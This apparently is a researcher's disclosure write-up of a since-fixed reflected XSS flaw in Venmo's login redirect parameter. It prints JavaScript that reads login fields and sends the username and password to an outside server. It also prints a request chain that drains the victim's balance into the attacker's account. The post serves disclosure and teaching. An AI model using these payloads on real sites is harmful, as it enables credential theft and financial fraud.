Breaking the Bank – Money and Credential Theft in Venmo (Paypal Product)
Abstract
I identified a reflected cross site scripting (XSS) vulnerability on the login page of Venmo’s website, and used it to develop a proof of concept exploit that could drain a user’s account and steal their credentials. The effects of this proof of concept are somewhat more limited than my previous write-up, because it requires the user to click on a malicious link. I reported the vulnerability, along with the proof of concept to Venmo, and they had a fix live in just under 48 hours.
Background
This section covers some of the relevant security concepts in this post. You may want to skip this section if you’re already familiar with web app security.
URLs
This section is mostly from “A Tangled Web,” a great book by Michal Zalewski on web app security. I highly recommend it to anybody interested in the field.
URL Structure
URLs are usually found in the following form (irrelevant pieces omitted):
scheme://address/path/to/resources?query_string
The scheme
identifies the protocol used to retrieve a resource. You’re probably familiar with schemes such as http
or https
, which is how your browser retrieves most web pages. What you man not be aware of, is there are more obscure schemes, such as javascript
. The javascript
scheme in particular can be very dangerous, because navigating the page to a URL with that scheme executes the supplied JavaScript code. Try clicking the link below to see this in action:
That link was made with this little piece of HTML:
<a href="javascript:alert('You're on the page: ' + document.title)"> Click Me! </a>
One particularly dangerous caveat to these JavaScript URLs, is that the JavaScript is considered to be from the same origin as the page you clicked the link on. This means that the JavaScript can access anything on the page you are currently on, and can make requests to the web server on your behalf and using your cookies.
The query_string
is an arbitrary blob of data used to pass parameters to whatever resource is identified by the rest of the URL (it is usually a web server, but can also be something such as java script ). The usual convention if for the query_string
to be in the format name1=value1&name2=value2&...
, however any format is acceptable. The information stored in the query_string
is usually referred to as URL parameters (URL params for short). These URL params are of interest because the information they contain is used by the server, but they are also easily manipulable by an attacker. If the code that uses these URL params doesn’t assume that they can be attacker controlled, bad things can happen. URL params are usually how reflected XSS occurs.
Relative URLs
Relative URLs provide a way to reference a resource on the same server. They allow you to identify resources using only the path to the resource, rather than writing out a full URL. For example, when viewing a page on http://www.example.com
, a link can point to /foo.html
, and produce the same effect as writing out the full http://www.example.com/foo.html
.
URL Encoding
Some characters have special meaning in URLs, such as :
, /
, and .
. To include these characters in query params, they must first be encoded in some way they they aren’t misinterpreted by the URL parser. URL encoding (sometimes called percent encoding) substitutes the special characters out for a %
, followed by two hex characters that represent the ASCII value of the encoded character. For example, /
becomes %2F
.
Reflected XSS
In my previous post, I covered a vulnerability called persistent XSS, where the affected server stores and serves up a malicious script. Reflected XSS is similar, except rather than storing the script, the server simple “reflects” the script back to the user. Google has a great explanation of XSS, including reflected XSS. The graphic below highlights the some of the differences between reflected and persistent XSS.
Reflected XSS is a little more difficult to exploit, because it requires the user to follow a malicious link, rather than just stumble across a malicious script through their regular browsing. Additionally, many modern browsers now offer some limited protection against XSS. If they see a script in the URL, and it also appears in the text returned by the server, they may block that script from running. As this demo will show, however, these protections are not perfect.
Process
Discovery
As with a lot of the vulnerabilities I find, I just happened to be browsing when I came across an interesting URL parameter:
The “next” parameter seems to be indicating a relative URL, that has been URL encoded. Sure enough, when I filled out the login form, I was redirrected to https://venmo.com/account/settings/
. On a hunch, I wanted to check if this was just navigating the user to whatever URL is supplied in the “next” parameter. So I changed it to https://www.google.com
:
Sure enough, when I logged in, I wound up at Google. Being able to redirect users to any arbitrary website after login is already pretty dangerous. I could, for example, change that redirect to go to https://somesitethatlookslikevenmo.com
, my own malicious website that looks exactly like Venmo. Because the user already verified that they were on the correct website when they logged in, they might not look at the address bar again. Once they are on my malicious copy of Venmo, I could ask the user to do all sorts of bad stuff, such as “verify” their bank info by giving me their credit or debit card numbers.
While an open redirect like that is bad, lets see if we can make things worse. Lets see what happens if change the “next” parameter to a URL using the JavaScript scheme:
Success:
What this means is that if I can convince a victim to visit the Venmo with that malicious “next” parameter, I can execute arbitrary JavaScript as soon as they log in. The rest of this post assumes that the victim has followed a link to this page and chosen to log in. It is important to note that this is Venmo’s real login page, not some phishing site. If the user looks at the URL bar, they will see venmo.com
, and the little lock icon indicating it is secure, so there is little reason they would choose not to log in.
Credential Theft
As mentioned in the background section, the JavaScript is considered same-origin with the page. This means that I could go after the user’s session cookies, as described in my previous blog post. There is, however, something much more interesting on this page. Because this is the login page, and the JavaScript has access to the page, it should be able to access the login form itself. I dug around in the DOM (Document Object Model) using Chrome’s Developer Tools, to figure out where the user’s username and password were actually entered:
There’s a lot of noise in there, but the important bit is that I can use the name
or class
attributes to easily find the input fields and extract their values. I threw together this little script:
var username = $("[name=username]")[0].value; var password = $("[name=password]")[0].value; alert("Username: " + username + " Password: " + password);
Putting a javascript:
in front of the script and URL encoding using an online tool it gets to this nice little mess:
javascript%3A%0Avar%20username%20%3D%20%24(%22%5Bname%3Dusername%5D%22)%5B0%5D.value%3B%0Avar%20password%20%3D%20%24(%22%5Bname%3Dpassword%5D%22)%5B0%5D.value%3B%0Aalert(%22Username%3A%20%22%20%2B%20username%20%2B%20%22%20Password%3A%20%22%20%2B%20password)%3B
Putting that in the “next” parameter yields exactly what I was hoping would happen:
All the future scripts I demonstrate do require the step of adding the javascript:
in front, URL encoding them, and embedding them in the “next” parameter, however, I’m going to stop mentioning it because it gets redundant and the URL encoded blobs get hideous and huge.
At this point, I can just reuse the same little hack from my previous blog post and send the credentials to my server by embedding an image tag:
var url = "https://bleaney.ca/experiments/venmo_creds.php?username=" + encodeURIComponent(username) + "&password=" + encodeURIComponent(password); var imgTag = "<img onerror='console.log("Stole Credentials")' src='" + url + "' />" $("body").append(imgTag);
Now it’s important to note that Venmo does have some pretty good security features. They require email or phone verification when logging into an account from a new device, so an attacker couldn’t log into a user’s account with just these credentials. Unfortunately, at this point in the attack, the login has already been processed, so the JavaScript is allowed to make requests as a logged in user. This means that I don’t even need to use the stolen credentials, I already have full access to the user’s account. One thing I can do, however, is uses these credentials to gain access to the victim’s other accounts. Users tend to reuse usernames and passwords, so these credentials might get me into the user’s Facebook, Google, or other accounts.
Additionally, since I’m logged in and have the user’s password, I can make any change I want to the user’s info, including updating their email and phone number. This would allow me to receive verification codes to log in to the user’s account from new devices in the future. I actually built a proof of concept for this too, but to keep things short(er), I’ll save it for a future post. Again, to venmo’s credit, they notify you when your email or phone number are updated, so the user would at least receive warning that their account was being taken over.
Money Theft
Taking a user’s credentials is all well and good, but any attacker in this situation would go after the money. Since I already had JavaScript running and able to make requests on behalf of a logged in user, I started digging into how to make payments. The first thing I did was make a test payment and look at the request my computer made using Fiddler (another web debugging proxy, similar to charles:
I mocked out this request using jQuery, and managed to make a payment:
// Accepts a CSRF token and the amount of money to steal, then issues // an AJAX request to Venmo to make the payment to my account var executePayment = function(csrfToken, moneyToSteal) { $.ajax({ type: "POST", url: "https://venmo.com/transaction/create", data: { "transaction_type": "pay", "recipient": "Graham-Bleaney", "amount": moneyToSteal, "note": Math.random() + "asdf", // Venmo requires a note on all payments, and complains about // duplicate payments with the same note, so I added a little // randmoness to the note. "publish_to_facebook": false, "publish_to_venmo": false, "audience": "private", "is_last_payment": true, "csrfmiddlewaretoken": csrfToken, "current_page_url": "/", "is_ajax": true }, success: function(response) { console.log("Executed Payment") } }); };
Notice that the code above requires a CSRF token and an amount of money to steal, in order to function. I covered CSRF tokens in my previous blog post, and mentioned that Pixelapse didn’t need to include CSRF tokens on their login page, because it was unauthenticated. Unfortunately, Venmo appears to have known this too, and didn’t give me a CSRF token I could easily grab from the login page where my JavaScript is running. Instead, I had to make a separate AJAX request, and extract the token from the response:
var getCSRFToken = function(moneyToSteal) { $.ajax({ type: "GET", url: "https://venmo.com/", success: function(response){ executePayment($(response).find("[name='csrfmiddlewaretoken']")[0].value, moneyToSteal); } }); };
The second bit of information I needed was how much money I wanted to steal. Being the devious hacker that I am, I decided that I wanted to drain the victim’s account. I found an API route at https://venmo.com/account/return_current_balance
that would give me nicely formatted JSON telling me exactly how much money a user has. I used this API to complete the final piece in the chain, allowing me to drain a user’s account:
var stealMoney = function(){ $.ajax({ type: "GET", url: "https://venmo.com/account/return_current_balance", success: function(response){ getCSRFToken(response.venmo.data.logged_in_user_balance); } }); };
Conclusion
After finding this vulnerability, I wrote up a proof of concept (covered partially in this post, partially in a post to come) and submitted it to Venmo. Their response was pretty quick, and within two days of contacting them, a fix was in production.
Both this and my previous blog post cover the dangers of XSS, which gives attackers virtually unrestricted access to a web application. Checks and balances such as Venmo notifying users about transactions and requiring email confirmation on new logins, can help mitigate the damage of such attacks. Ultimately though, many of these protecting can be bypassed, as I’ll cover in a future post, and the only real defence is preventing XSS in the first place.